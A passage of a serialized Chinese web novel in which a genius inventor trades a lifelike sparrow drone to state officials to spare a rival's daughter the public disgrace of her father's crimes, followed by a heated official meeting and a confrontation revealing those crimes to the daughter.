傅老爷子对她好归根究底是因为清楚她的基因,知道她是苏青莲的女儿,她漂亮优秀,哪怕家室没有那么好,但她跟傅京礼一旦有子嗣那必定会继承两人的优秀基因。 所以傅老爷子待她好无非是看中她能为傅家带来的价值。 可傅嘉誉不同,傅嘉誉对她好只是因为喜欢她欣赏她,尽管她有时骄纵任性,可在许愿心里她还是那个没长大的妹妹。 就算不为傅长海,为了傅嘉誉,她也想拦下这次的事。 第778章 会议 “许愿,我明白你的意思,但这次的不是我一个人能决定的,你这么聪明,应该明白事情的复杂性,我不可能为了一个人的私欲做这种决定,就算这种提案交上去也不会通过,只会得到全员否决票数。” 跟暗网相关的,不会有人同意轻判。 许愿顿了下开口:“如果我说,我用最新研究出的无人机智能系统来做交换呢。” 听到这话盛景炎都惊了一瞬。 无人机智能系统,是许愿最新研发的,还没有做最后的测试,但这次能够精准定位暗网且将暗网一网打尽的助力就是这次的动物拟态无人机。 这种无人机最后会被用在军事上绝对是致命的。 这次许愿是怎么毁掉暗网的顾凛和刑从景业大概清楚,他们本就看中了许愿研究的无人机系统,但没想到许愿会为了傅嘉誉提出要用无人机来做交换。 “许愿,你知道你自己在说什么吗。”顾凛作为华国军部高层,当然清楚许愿这是要上交国家。 如果不上交,仅凭这无人机系统她能够赚取的金额数目……无法估量。 许愿轻笑:“你知道我不缺钱,我既然肯上交这个,就说明我有更多新的实验,我上交这个只是表明我的态度,这款无人机我不会自助买给国外,上交后随你们处置或者跟其他人交换利益,当然我是商人,我也不会多要,我需要你们赚取的纯利润中的百分之二十就够了,毕竟你们也要对得起我的研究成果,总不能真的一毛不拔。” 任谁都知道许愿和段星河的大脑才是真正的宝藏,要留住许愿就要给够足够的好处。 许愿没有开口提到傅长海相关的事之前,他们就想着要如何跟许愿交换这次的无人机系统。 若是别的人再知道这件事后大概为了跟上面合作直接上交,但许愿不同,许愿不在意这些,硬要说的话不是许愿需要他们,是他们需要许愿。 所以他们需要给够足够的好处。 傅长海犯下的罪行确实大,但跟无人机系统相比就算不得什么了。 顾凛突然有些想笑,像是无奈又像是带着欣赏。 “许愿,我突然明白为什么会有那么多人喜欢你了。” 她就是有这样的魅力,可以让所有跟她接触的人克制不住的将目光留在她身上,然后去接近她。 就算最初的敌人也是如此,姜明烨不就是这般被她吸引的? 其实许愿真的跟苏青莲太像了,十几年前的苏青莲做过同样的傻事,她也被人设计过暗害过,但在知道对方的遭遇后她也做出可同样的选择。 不是纯粹的心善,只是为了心安。 苏青莲同样献出了当初研究的新型设备压下了那件事,而现在,她的女儿许愿也做出相同的事。 血缘真是奇妙的东西啊。 顾凛开口:“我会跟这边联系后说明你的要求,不过大概需要点时间。” “相信我,你给了足够的利益,那群人会点头的。”还没开这场会议顾凛就已经知道了结局。 “既然你这样说的话,代表你已经猜到结局,那么我是不是可以提一点意见?” “他总归要死,死之前给他点时间跟傅嘉誉接触,后面可以让他死于车祸或者其他意外,我知道你们做得到。”许愿开口。 国安部如果连这个都做不到,那恐怕都没有继续存在的必要了。 顾凛不觉得许愿这是得寸进尺,给足了让那群人心痛不得不点头的利益,提出点要求也是应该的。 且……这点要求算什么? 许愿没有让傅长海逃过处决,等待傅长海的还是死,既然如此为什么不满足他? “好,我会跟他们说清楚你的要求。”顾凛回道。 许愿眉眼之间都带了点轻微的笑意:“等你的好消息。” 顾凛挂了这通电话已经让手下安排跟那群老家伙的会议,顾凛特意提到了跟傅长海有关,本来没有人在意这个,毕竟傅长海最后的结局除了死刑还有别的? 结果顾凛提到许愿插手了,听到许愿所有人都想知道许愿为什么要插进来。 许愿对他们的价值他们都懂,哪怕不知道许愿说了什么也是会最快的速度到场问清缘由。 同时参与会议的还有刑从景,能参加这会议的都是上面有一票否决权的一群人,包括江恒的哥哥江夜回。 江夜回收到消息时也猜不透顾凛卖的什么关子,不过既然跟许愿有关,他们愿意捧场问问清楚出了什么了不得的大事让顾队在扣押傅长海后就要召开会议。 或者说好奇许愿提了什么要求。 一通电话,一个小时,跟这次事件有关联的全员到齐。 其中不乏有年迈的前辈看到顾凛就絮絮叨叨问他情况,顾凛也是老狐狸了,笑呵呵的打官腔,硬是没说许愿的要求,老前辈也被他气笑了。 不过大家军衔都一样的,他也就是仗着年纪大所以在顾凛面前倚老卖老问几句,没得到答案倒也在意料之中。 看样子顾凛就是等人到齐一起说呢,也不差这一会儿了不是? 等人都到齐了,顾凛才将许愿研究的动物拟态麻雀无人机放到台前,极其细致的讲清楚了麻雀无人机的厉害之处。 其实国内已经有动物拟态无人机或者摄像装备,但缺点就是太大太笨重,不够灵活非常容易就会被发现且控制器不好控制。 但顾凛带来的麻雀拟态无人机可以说是跟麻雀几乎没有任何区别,甚至于顾凛将这无人机放到台前,还有人说顾凛胡闹,开会就开会带麻雀来做什么?纯添乱。 刑从景一直跟随许愿,自然知道许愿和顾凛有了一通电话,且这次许愿设计暗网的过程麻雀无人机才是最大功臣,当时知道这件事的时候刑从景就清楚无人机运用到军事上的威力。 所以他此刻很平静,已经猜到接下来的发展。 顾凛和刑从景对视一眼,顾凛笑了下,倒是江夜回很给面子的开口:“聂老,顾凛就算再喜欢开玩笑也不会真的拿麻雀在这种时候取乐。” 第779章 条件 江夜回缓缓道:“我看这不是麻雀,倒像是什么军用的东西?” 江夜回脸上带着明显的笑意,他挑了下眉梢开口:“顾队,讲讲?” 刑从景性子沉闷,倒不是这种主动开口的,反倒是江夜回给了他这个面子。 在场的哪一个不是人精?真是蠢笨的也没能力升到这位置了。 只江夜回来了这么句话大家就意识到不对,还是那位最先开口说顾凛胡闹的人站起来走到台前,盯着那无人机麻雀仔细瞧了又瞧,想上手却又有有点担心自己碰坏似的。 顾凛笑了声做了个您随意的动作。 聂老这才上手了只是才碰到这麻雀无人机就感受到这入手的触感,和羽毛的真实感,这跟真的麻雀几乎是没有差别的。 这是怎么做到的! “这……这真的不是麻雀!这触感?这是怎么做到的?” 聂老震惊,其它人也纷纷看向两人,有人也动了心思站起来去触碰那拟态麻雀,触手的羽毛丰软细腻,甚至在两人碰触时发出非常真实的叫声,甚至于这麻雀还顺着他们的动作蹭了蹭他们此刻触碰的指尖,用喙很轻的啄了啄,这力道都跟真麻雀没有什么区别。 “顾凛,你确定这不是真麻雀?” 无论是从外形还是眼睛,或者是反应力,都像是真麻雀。 顾凛抱着手臂终于开口了。 “这是许愿最近研究的动物拟态无人机,完全以假乱真的麻雀无人机,各位感兴趣吗?” 顾凛话音才落,会议室内的人都明白这麻雀有多重要了。 这不是麻雀了,这是远超他国的无人机装置,可以完全用于军事。 众人议论纷纷不停赞叹,眼神时不时的落到顾凛身上,众人对这麻雀无人机爱若珍宝。 “所以许愿现在是什么意思?她的心理价位是多少,这东西必然是要买断的。” 在场的人都明白这东西的重要性。 顾凛是个老狐狸了,就是半笑不笑的吊着这群人,他这不紧不慢的姿态着实让一些急脾气的人着急了。赶紧问道:“顾凛,你有话直说,不要在这里卖关子,许愿的条件是什么?” “她想要什么?许愿的钱已经够多了,她求的肯定不是财,她要什么,你开口提就是,我就不信我们还满足不了她的胃口?” 他们敢开这个口就是因为大多数都接触过许愿,知道许愿不是什么不懂事的人,不会真的狮子大开口。 许愿聪明的点就在于每一次都踩着这群人的底线。 顾凛还是慢悠悠的模样,等人忍不了继续催他才终于开口。 “她说可以直接上交,后续跟谁合作定价多少她都不管,只要纯利润的百分之二十,其它的她都不会插手。” 顾凛说了这话,会议室内的众人显然都愣住了。 这明显是做慈善了。 “条件呢!”聂老赶紧问。 顾凛一手撑着下巴笑吟吟的开口:“条件是不公开傅长海的罪行,判他处决死刑的结局不会变,在此之前给他时间让他跟傅嘉誉相处,永远不公布傅长海的罪行,这就是许愿的条件。” 刑从景微微垂眸,江夜回舌尖跳了跳上颚有些想笑。 江夜回猜到许愿这次提的要求大概会跟傅长海有关,他本以为是要重判重罚,没想到跟他想的完全相反。 许愿不仅不要求重罚,还在为傅长海求情? 到底是聪明人,只拐了个弯就想明白了,大抵是许愿知道傅长海和胡明阮那段孽缘所以共情了,再加之许愿曾经跟傅嘉誉的关系才让许愿生了这心思。 还真是做慈善了。 江夜回咂舌。 现场的人听到许愿的条件后反应各不相同,刑从景不在意,他似乎是站在许愿这边的,江夜回也不在意,他毕竟傅长海害的多半都是傅家人,且没得罪过自己,这次跟暗网相关的他也得知了内幕是被胁迫的,硬要说起来傅长海是个倒霉蛋罢了。 跟他完全没有利益相关,他有什么好在意的? 再加上这件事最重要的就是需要给公众一个结果,但混淆视听捏造个看似真相的事实这种事他们做的还少了?本来公众也只是要一个交代。 但是不是真相谁知道? 他们要的就是一个态度。 江夜回和刑从景不在意,其他人却是在意的。 “这件事是胡闹!傅长海犯下的罪行林林总总的加起来二十多条,这是一定要公之于众的!怎么能因为这种事就放过他?” “许愿设计的这东西本就该上交,她怎么还好提意见的?” “作为华国人就该跟为华国人着想,不上交难道还要买给外国人吗?那跟叛国有什么区别?” “许愿是被养的心大了,这种事也敢提意见,不知所谓!” 聂老更是连连反驳:“这件事决不能轻易答应!傅长海这件事影响深远一定要给公众个交代!许愿的无人机研发出来本就该交给军部使用,她不是自诩爱国吗!那就该上交!让人看一看她的态度!” 捏老表态了,跟他相同态度的人也连连点头。 这群人什么意思呢? 毕竟研发出无人机的不是他们是许愿,最后剥削的是许愿他们自然乐的看戏了。 江夜回挑了下眉,心道真是群不要脸的东西。 刑从景跟顾凛对视一眼,顾凛还是那副温柔的笑模样,只是眼神冷了几分。 顾凛面带微笑开口看向那些反对的人,问道:“我记得赵老的儿子在商界也是有点成就的,赚的也是盆满钵满了,赵老这么爱国,最近国内情势紧张你也是知道的,肯定会将这份家底捐上来上交国家的对吗?” “李老呢,似乎是很喜欢收藏古画和古玩呢,普通民众不知道捐给博物馆多少真品真迹了,就是许愿也捐过不少,李老既然是前辈长辈又这么爱国,怎么可能不捐呢?今天会议结束我就会联系博物馆的人亲自去李老家取走那些古玩古画,相信李老这么爱国一定不会拒绝的,对吧。” 第780章 将她当条忠狗了? “严老的儿子我记得研发出了什么?好像是新型药物吧,抗生素是吗?顾老大义凛然一定能代替自己的儿子做决定将新研制的抗生素上交对吗?” “哦还有董老,您女儿在娱乐圈活跃这么多年,税都交齐了吗?既然董老这么爱国,您女儿肯定也要做个表率了,不如就让您女儿把近些年的片酬广告收入都捐出来,相信她的粉丝也会更爱她,真是满满都是正能量啊。” “聂老呢不是有几座庄园?刚巧最近资金吃紧,那些研究员们还没有住处,大家都说我们队科研人员不够好呢,不如聂老大度点贡献出自己的庄园奖励给科研人员住?聂老这么德高望重怕是也不在乎那点房产,不如这样,我现在就向上面打申请,直接在那地界拆除庄园盖几幢科研人员专门居住的高楼,也好分配给他们居住?不然聂老一个人有那么多庄园,不知道的人还当聂老私下里昧了多少钱呢,真要被查出来,聂老脸上也不好看啊。” 顾凛面上带着笑意,被他点到的人全部都被揭了老底。 其中翟老眼神闪躲,他也看出来了,顾凛念的这群人全都是刚才跟他一起针对许愿要让许愿将研究成果直接上缴的一群人。 察觉到翟老闪躲的眼神,顾凛摸了摸下巴:“瞧我这记性,倒是差点忘记翟老了,翟老你儿子不是有几家借贷公司?这东西可不是普通人能有的,翟老是聪明人,肯定知道上交国家才是唯一出路,翟老,我看你也不用考虑了,就现在吧,我看各位都觉得个人资产不重要,国家才最重要,也不用打报告了,直接就列个文件,诸位签了就是。” 那些针对许愿要求许愿捐献研究成果的人一个不漏,全部都被顾凛点了一遍。 反倒是那些没发言的甚至为许愿说话的此刻嘲讽的看这群人笑话。 一直装什么大义凛然,真到自己的资产,你们真舍得?还不是如珠似宝的护着?一个个掉钱眼里了,端是装的冠冕堂皇的。 说白了就是看不惯许愿一个女人那么大能耐还有那么多钱。 反对许愿的多是一些老家伙,像年轻人亦或者顾凛那一代的可是都知道苏青莲的,谁也不会故意针对许愿,就算不护着也绝对中立态度。 最先反对许愿提议的聂老脸红一阵青一阵的。 聂老梗着脖子道:“顾凛!你说这话是什么意思!我那庄园是我要留给儿孙的,你直接给我盖高帽子逼着我捐给国家是什么意思!你们顾家那么有钱怎么也不见你把家里面的庄园全都捐出去!你倒是嘴巴一张随便一说,你那是要逼死我!” 顾凛笑的温柔看着聂老,麻雀早就被顾凛收回来了,此刻就放在他肩上,像是一只活着的小宠物,跟随着他的动作看着众人,像是逼视像是嘲讽。 聂老眸光一闪,下一秒就听到顾凛的笑声。 “我们顾家是有钱,我捐的也不少,不过聂老似乎是没捐过多少,只会做面子功夫了?聂老不是觉得个人资产不重要吗?许愿研究出的东西就需要上交,不上交就是不爱国想叛国……” “聂老才是最厉害,许愿这些年捐了多少东西我们心里都有数,帝城大学基金会不是许愿创立的?基金会现在可以自给自足帮了多少人你数过没有?盛华每年捐了多少钱?哪一次华国有需要盛华没有捐钱?军部缺钱了盛华会捐,自然灾害盛华会捐,个体困难户她也建立了基金会,盛华孤儿院在国内也不在少数,更不要提最近许愿研究出治疗癌病的药物后自己出资救助了多少癌病患者?拯救了多少本会破碎的家庭?” “许愿捐了这么多东西,盛华呢有多针对莱蒂斯和那些反华势力你难道不清楚?她绝对代表的是华国在海外最强的资本,不然你以为这家公司为什么叫‘盛华’?无非是希望华国强盛。许愿做了这么多,这次不过是提了一点条件,在聂老眼里没有将最新的研究成果上交那就是叛国?真是斗米恩升米仇,她捐的太多导致你们觉得她的东西就该收归国有是吗?” “许愿做这么多都被盖上叛国的帽子,那聂老你这种这么多年都没捐过钱的又算什么?间谍吗?” 顾凛字字句句将聂老钉在耻辱柱上的嘲讽。 聂老也想反驳,可偏偏顾凛说的没有错处。 许愿这些年确实捐了很多,旁的人不知道许愿是盛华的幕后老板,但他们调查过许愿是最清楚这些的,一定要说最爱国的最不可能叛国的资本那就是盛华,什么合作没有紧着国家先来?军用相关的也是提前联络得了内部消息才会贩售,哪一次没有尊着上面? 她都已经做到极致了,还打算让她怎么做? 聂老哑口无言,红着脸身体哆嗦不知道要怎么回应反驳。 江夜回反倒是笑了。 “我看聂老的意思是许愿毕竟是个女人,她都捐了这么多次了就该吃亏,谁让她蠢呢?干脆就让许愿为华国白打工好了,盛华是华国的,盛世以后也收归国有,许愿研究的所有项目都是国家的,那岂不是赚翻了?” 聂老气到胡子都在抖了,江夜回却根本不等他说话,嗤笑一声继续讽:“我要是许愿,知道你心里藏着这心思,我还真就叛国了,你不让我卖给国外我就偏要卖,你不让我做的我就偏要做!” “是许愿太爱国了所以才给你这种想让许愿做什么就能做什么的错觉吗?” “你是不是忘了,许愿手中掌握的东西不是谁都能拿捏的。” “真要把她逼到那份儿上,聂老,那你可就是千古罪人了。” “信不信M国早就盯着许愿了?别说许愿只是这么小一个要求了,就是许愿想要直接赦免傅长海M国眼睛都不眨一下,比狗都听话。” “我们国家的老前辈们厉害了,不把许愿当功臣,反倒是将她当条忠狗了?” 第781章 许愿是有后台的 江夜回说着嘲讽的话还不忘摸摸下巴笑眯眯:“我只听说奖励功臣的,却没听过伸手找功臣要东西还想动她家底的。” “这不是不要脸是什么?占便宜没够啊,聂老你说你是不是不要脸,是不是喜欢占便宜。” 聂老打骂:“这次傅长海的事是跟暗网有联系的!那么多人都等着我们的回复呢?这件事瞒下来怎么告诉大众真相!” 江夜回翻了个白眼:“聂老是忘了当初你那被判死刑的孙子犯过什么事儿了是吧?” “性侵幼童,买卖人口,一个人犯了半部刑法,最后不也是你聂老老泪纵横痛哭流涕的求着上面不要连坐?说你这些年多不容易?” “哦,这事儿最后怎么摆平的呢?聂老自己想想?我记得这最后还是你搜寻了个由头给你那孙子换了个身份,没跟你聂家占一点边不是?” “毕竟这事儿真要传出来,聂老你们一家都不用混了,可以滚出国移民了。” “聂老对这事儿不是熟的很吗?傅长海做的这事儿?跟你孙子可是差远了,傅长海是被暗网要挟威逼利诱呢,你孙子呢?天生坏种,可没有人威逼利诱,全是他自己坏事做尽。” 江夜回冷笑:“聂老这么公平公正,当初那事儿也没见你用什么东西做交换,就装模做样演戏的哭了几把换回了你们聂家的满门荣耀,依我看你孙子是坏种,你和你儿子也都是坏种,一家子都该滚出去,一个也别活,全都死!” 江夜回是真一点不惯着聂老,张口全是怼他的,甚至都要咒他死了。 以前圈子里就有人说不要随意招惹江夜回,这人嘴毒,上下嘴唇一碰估计自己都要毒个半死的程度。 看看,他这会儿看不上聂老,可不是张口全都是骂人呢。 不,这可比骂人要难听多了。 聂老脸色青一阵红一阵的,狠狠咬牙死死的盯着江夜回。 下一秒聂老就要抚着胸口大口呼吸,看着似乎是要被江夜回气晕了。 江夜回满不在意的嘲:“你晕,你现在晕了我立刻让江惊蛰过来给你做个全方位检查看看是真病还是装病。” “如果是装病那就真是个唯恐天下不乱的无赖戏精 ,如果是真病……呵,那我也会公之于众让所有人都知道聂老师怎么病的,怎么欺负忠臣良将的,聂老一定放心,你肯定会‘流芳百世’,任谁都要记得你,只要提起许愿就知道聂老,那可真是出了名了!” 流芳百世? 这能是流芳百世吗!这是遗臭万年还差不多! 还说什么提起许愿就知道聂老?这是要让聂老被骂死!提起许愿多优秀就想起聂老多不要脸吗!狠还是江夜回狠。 江夜回这话是恨不得直接撕了聂老的面皮摁地上踩几脚! 江惊蛰和江夜回是本家,江惊蛰可以说是江夜回的亲弟弟。 但因为江夜回选了从政所以家业由江惊蛰继承。 江夜回帮许愿自然也不是白帮,一方面是真觉得聂老这群人倚老卖老不是个东西,另一方面更因为许愿跟江家是有利益往来的。 许愿研发出治疗癌病的药物后虽然让盛世作为代理,但首先联系了江家,江家可以说是首批拿到特供药物的家族。 许愿大抵是记着跟江惊蛰那点交情,许愿做的够多了,只要不背叛她,她有了好处哪一次没想着身边人? 就算跟傅京礼闹掰了也没迁怒江惊蛰,还是继续跟江家合作。 就为这个江夜回也绝对不会让聂老这种不要脸的得逞。 江夜回这么一嘲,聂老真被气到了却也不敢晕了,毕竟江夜回是真不会给任何人面子,他说要把你脸皮扒了那就是真要扒,任你怎么求情都没用的。 聂老此刻只能不停的拍着胸口气的脸红脖子粗。 之前跟聂老一个意思因为许愿是个女人故意打算针对许愿的人都怯了。 是,他们怎么就忘了,许愿虽然是个女人,但不代表没有后台。 她母亲是苏青莲,苏青莲当年有多少爱慕者?在座的多少军部的人?跟顾凛刑从景一代的,谁还没有被苏青莲和唐清江这一对儿救过?谁没受过这两人恩惠? 苏青莲现在不在,不代表许愿就没人护着! 更何况顾凛和江夜回哪里说错了? 许愿是有这个实力,任性一些怎么了?哪个天才不任性?许愿可还没说让直接赦免傅长海呢,傅长海的处决不变,最后不还是要死?这有什么可争执的?她那么多功劳提个意见怎么了? 更何况!许愿这次上交的无人机系统可是最先进的!这还需要商讨吗?不全票通过那就是他们脑子有问题了! 被顾凛点名的赵老、李老赶紧笑呵呵的打圆场:“顾凛和小江说的对啊,许愿都为我们华国做了这么多事了,提点小意见怎么了?就算是再过分的要求我们也要答应啊,这可是我们国家最前沿的人才,只要能留住许愿做什么都是应该的。” 众人立刻附和。 聂老瞪圆眼睛,眼瞅着自己的盟友全都叛变,就是想再据理力争都没用了。 人就是这么现实的动物。 一旦跟自己利益相关他们就会慎重,他们心里也清楚,如果执意要求许愿直接上交研究成果,那他们的东西也必然保不住,顾凛的心思可不是一般的重,真要跟他唱反调,以后全都要吃挂落。 许愿提及的与傅长海有关的事就这么“全票”通过了,当然聂老这次没表态,顾凛也没算上他。 毕竟谁也不会再管这么个自私自利只想占便宜的老东西是个什么心思了。 这次江夜回真的是很有礼貌了,都没指着聂老的鼻子骂句“你死不死啊”! 大概也是真的担心聂老被气晕还要给江惊蛰添麻烦,所以这次还算是收敛了。 会议结束,聂老被跟他一个心思的几位老前辈扶着走了,几人边走边劝,聂老心里过不去这个坎儿,推开人气呼呼的就走了,惹得几个人都觉得他有病。 第782章 真相是什么 这次不单是商量了许愿相关的事,还最终判定了傅长海的处决,距离死刑还有十天。 也就是说傅长海还能陪傅嘉誉十天。 这件事算是了解了,顾凛作为总负责人自然是要把这件事告诉傅长海的。 他将最后的公文打印出来,亲自交到了傅长海手中。 收到最后处决文件的傅长海看到文件时都觉得自己可能是眼花了。 什么叫做……因亲属功劳重大酌情秘密处决罪犯傅长海,其死刑处决方式会变为意外丧命,其罪行不会公开…… 傅长海不懂。 顾凛看着他倏地笑了。 “你知道吗,你们傅家的气运其实都在许愿身上了。” “没有许愿,傅家已经完了,而你的女儿会沦为笑柄,可因为许愿,你们傅家还有一线生机,也不知道你们傅家上辈子做了多少善事才有幸遇到许愿。” 顾凛没有替许愿隐藏。 “这次的事情这么顺利是因为许愿为你求情,她上交了最新的研究项目来换取你的从轻发落,你看到的处决方案就是我们最后商议的结果。” 这对傅长海有多重要不言而喻。 傅长海最在意的是谁?是傅嘉誉,他做了那么多恶事唯一怕的就是女儿因他受影响,可现在却因为许愿…… 傅长海身体颤抖,一时竟说不出话。 他和许愿本是死敌,他……害了许愿那么多次,为什么? 他觉得自己不配,甚至想拒绝许愿的帮助,因为他自己清楚自己是个混账东西!可偏偏!偏偏许愿做的这些就是他无法拒绝的! “为什么。”傅长海哑着嗓子双眼通红的问。 可以有人怜悯他,但那人最不该的就是许愿。 顾凛看着他许久,缓了片刻才说:“她知道了你和胡明阮的事,她理解了你的一些做法,且她说她心疼傅嘉誉,她希望傅嘉誉真的能像你说的那样永远天真烂漫幸福快乐。” 傅长海终于控制不住的捂住脸痛哭。 他是个恶人,可偏偏曾经的死对头为了他放弃了唾手可得的利益,甚至说理解他,更衬得他成了一个笑话。 顾凛面无表情的看着痛哭流涕的傅长海:“哭够了就离开,你还有十天时间。十天时间一到你会意外身亡,你可以用这最后的十天时间去陪你的女儿,这是我们为你争取的最后的福利。” “谢谢。”傅长海嗓音干哑。 顾凛冷漠无情:“你大概是说错对象了,没有许愿,没有人会给你这个例外。” 傅长海说不出话了,直到踉踉跄跄的离开,傅长海才取出手机想给许愿发个信息,却根本发不过去,他早就被许愿删除联系方式了。 也是,谁会一直留着仇人的好友。 可到最后,真的肯帮他的,有能力帮他的却是他的仇人。 …… 傅长海被带走这件事许宁是知道的。 因为傅嘉誉和傅守越对她做的事她无论如何都忘不掉!她心里藏着恨,她当然知道傅长海做过很多事,甚至也知道傅长海跟暗网有勾结,知道的越多就越是想要知道傅长海会有个什么结局。 傅嘉誉不是得意吗? 等他的父亲被判处死刑,她还能笑得出来吗?还能像现在这样高高在上吗! 许宁已经被逼到极致,她总归已经不会有什么好下场了,那就一起下地狱吧! 许宁暗中派人盯紧了傅长海,在得知傅长海被抓走后幸灾乐祸,却不料傅长海仅仅被关了一天就被放出来。 被关了一天…… 只是被关了一天就放出来了? 怎么会? 傅长海明明勾结了暗网,他既然被抓进去那就不该被放出来!他做的恶事可不仅仅是这一件! 许宁脸色发白,几乎不敢想象傅长海为什么被放出来,难道因为傅家人找了关系?因为傅守越还是傅京礼? 她被害的这么惨,傅长海却还能好好活着?傅嘉誉还能一直幸福? 这算什么? 明明大家都是恶人,凭什么傅长海的结局就这么好? 她不服! 许宁面色狰狞,想到傅长海对温栩栩做的事脸色愈发深沉。 是啊 ,她怎么就忘了傅嘉誉是温栩栩的粉丝,虽然傅长海被放出来了,但她可以告诉傅嘉誉真相,帮她好好认清楚她的父亲,让她知道她的父亲是怎样的恶魔。 许宁捂着肚子笑起来。 她已经走到这地步了,她还怕什么呢。 许宁给傅嘉誉去了电话,连着打了三通电话都是无人接听,许宁嗤笑了几声,给傅嘉誉发了条信息。 【许宁】:你不想知道是谁暗中劫持设计了温栩栩吗?她不是你最喜欢的女星吗?傅嘉誉,你不想知道真相吗? 收到信息的傅嘉誉在第一时间给许宁回了电话。 “见一面吧,不见面是说不清楚的。” 许宁选择见一面告知傅嘉誉真相就是想要加倍的报复回去。 在傅嘉誉眼里傅长海永远是个善人是个慈父,她不会知道他的父亲还过多少人是个怎样的魔鬼。 她就是要拆穿傅长海的伪装,让这父女二人全都陷入痛苦之中。 “别带傅守越,他不会想让你知道真相。”许宁提醒。 傅守越本质上是傅长海的帮凶,傅长海做的事傅守越几乎都知道,这两人才是真正的蛇鼠一窝,所以一旦傅守越知道她想要做什么一定会阻拦。 傅嘉誉迟疑了许久到底还是答应了。 作为温栩栩的大粉,她确实很想知道真相。 傅嘉誉选了傅守越需要参加一场商业会议的时间跟许宁约在了华庭的包厢。 只是隔了两天时间再见许宁,傅嘉誉觉得许宁整个人愈发阴郁了。 其实很好理解,毕竟对许宁来说生活已经没有任何希望可言了。 她最好的结局是嫁给一个男公关为男公关生下孩子,最差的结局是被傅守越秘密送到海外另一个类似暗网的神秘组织。 她像是短短时间内被耗光了精气神,此刻捂着肚子,脸上虽然挂着笑容,可那笑却很是诡异,傅嘉誉只是看一眼就觉得生理不适。 傅嘉誉别过脸看她,直接切入主题。 “真相是什么。” 第783章 他是不折不扣的人渣败类 许宁盯着傅嘉誉看了几秒,突然就笑了,她捂着肚子,眼底藏着怨恨道:“不如你猜猜看那人会是谁呢。” 傅嘉誉对上许宁此刻带着明显恨意的眼神,面无表情道:“我没有那么多时间浪费在你身上。” 傅嘉誉转身就要走,他觉得自己真的是有病才会被许宁几句话骗出来。 许宁都已经快疯了,她嘴里能有几句好话? 见她打算走,许宁慢条斯理的喝了一口桌上的茶水,目光仍然逼视着她,在傅嘉誉已经走到门口,手都已经放到门把手上时,许宁开口了。 “是傅长海做的。” 这话一出傅嘉誉像是愣住了。 她转过身去,对上的就是许宁明显带着嘲意的笑。 包厢内的灯光亮的有些刺眼,白炽灯的灯光打在许宁的脸上,那双充满恨意的眼里还夹杂着对她的羡慕和讥讽,还隐藏着看幸灾乐祸的兴味儿。 “你在震惊吗?” “你觉得我撒谎了吗?” “傅嘉誉,我没有撒谎,是你父亲做的。” 许宁感受得到傅嘉誉此刻内心的震撼,她很能明白此刻让傅嘉誉相信她的父亲做这种事对她来说无异于是天塌了。 “你不相信吗。”许宁又逼问了句。 “我看你是疯了。”傅嘉誉握紧拳,完全不信许宁的话。 “你说这些无非是为了挑拨我和父亲的关系,许宁,你就是自己过的不如意所以才来我面前说这些可笑的话,你以为我会相信?我还不是蠢货!” 对傅嘉誉的斥责,许宁面上还是那副不咸不淡的嘲讽模样。 “你不相信我的话那才是真的蠢货。”她哼笑一声:“傅长海从来都是一个阴险狡诈的小人。” “你想知道傅长海这些年都做了些什么吗?” “温栩栩被劫持的事跟他有关,是他跟暗网当时的高层埃尔斯联络对温栩栩下手,你也看到颜佳雨的下场了?暗网公开直播侮辱曾经的颜影后,那么多人将她当做是可以随便欺凌的玩物,如果不是许愿及时灭掉了温栩栩,你猜温栩栩会是什么下场?” “最美女星会被拍卖凌辱成为生育机器,她会彻底钉在耻辱柱上,哪怕现在温栩栩已经被救回来还有那么多卑劣的男性说温栩栩已经脏了被暗网的人侮辱了,她只是被绑去一次就成了某类人可以随便辱骂的艳星。” “你这么喜欢的女星,她被害到这一步全因你那阴狠狡诈的父亲。” 许宁死死盯着她,像是等着看傅嘉誉的反应。 “你以为你的父亲能是什么好东西,你是不信我说的这些吗?还是你坚持自己的父亲是个好人?” “好人?傅长海这样卑劣的货色怎么可能跟好人挂钩。”许宁不停的用傅长海来攻击傅嘉誉 “你闭嘴!”傅嘉誉额头青筋暴起,她大步冲到许宁面前,许宁却像是丝毫不怕的抬高了自己的脸:“你打啊,你这么激动无非就是恼羞成怒!” “你觉得我还会怕你这一耳光吗!我这一辈子都已经被毁了!我被毁到这地步,凭什么你傅嘉誉还能这么幸福快乐被所有人宠着!” “我就是恨!我被毁了!傅长海那样的烂人却还能得偿所愿,我不服!” 许宁此刻似乎早就忘了傅家人对自己的威胁一般,主动抓住傅嘉誉的衣领,眼里的厉色十分明显。 “你父亲,是不折不扣的人渣!败类!” “你以为你大伯和大伯母是怎么死的?是傅长海亲自设计的!你以为傅京礼当初被谁安排拐走绑架的?是傅长海!你以为这些年傅氏遭受到的海外公司的冲击都是谁暗中设计的?是傅长海!” “傅家那些恶都是傅长海做的!你的父亲甚至恨着苏青莲,他害过许愿害过盛景炎!他害过多少人我根本就数不清!傅长海就是一个不折不扣的恶魔疯子!” “这才是傅长海,而不是你眼中那个温柔体贴的慈父!” 许宁疾言厉色,将自己知道的有关于傅长海的事全盘托出,她接触傅长海的时间到底还短,也只知道这些。 但这些就已经足够傅嘉誉惊慌。 她不想去信许宁说的话,但……许宁已经被逼到绝路了,她还有什么欺骗她的必要吗? 如果不是对她对傅家有这样大的恨意,许宁又怎么会发疯的把一切都说出来? 她是彻底要鱼死网破。 “我不会相信你说的这些。”傅嘉誉咬牙,推开许宁就要走,许宁抓住她的手腕:“你不能就这么离开!傅嘉誉!” 许宁将自己手里积攒的能够指证傅长海的证据尽数打印出来,逼着傅嘉誉看。 “你仔细看,我都有证据能证明是傅长海做的!我没有骗你!” 许宁能有这些证据还因傅长海这人做事小心,傅京礼也为他扫除了那些障碍,本该没有人知道那些事了,偏偏傅长海需要这些证据来威胁为他做事的人,许宁自然也被威胁了,可她想得多,发现傅长海将那些证据藏在什么地方后立刻收集了这些证据。 为的就是担心有一天被傅长海当成弃子而自己没有任何还手余地。 有了这些,真要有那一天她还能反咬傅长海一口。 资料证据全都摆在面前,傅嘉誉不想看,可许宁却有些癫狂的抓住她的手臂,眼神诡异却又热情。 “傅嘉誉你快看啊,这是你父亲跟司机的通话记录,是他故意害死了你大伯和大伯母,傅京礼对你们那么好,可害死他母亲的却是你父亲呢!” 像是知道傅嘉誉不会信不想听,许宁特地放了那段录音,能让傅嘉誉仔仔细细的完全辨别清楚开口说话的人是傅长海。 许宁看到她此刻无措到不敢相信的模样不由得咯咯的笑着,笑到落泪,最后将那厚厚一叠资料全都推到她怀里。 “傅嘉誉,你带回去看啊,这些都是真相。” 许宁做完这一切像是完成任务一样转身就跑了。 傅嘉誉有些愣怔的站在原地,等了许久她才克制不住的捡起掉落在地上的文件。 第784章 她要问清楚真相 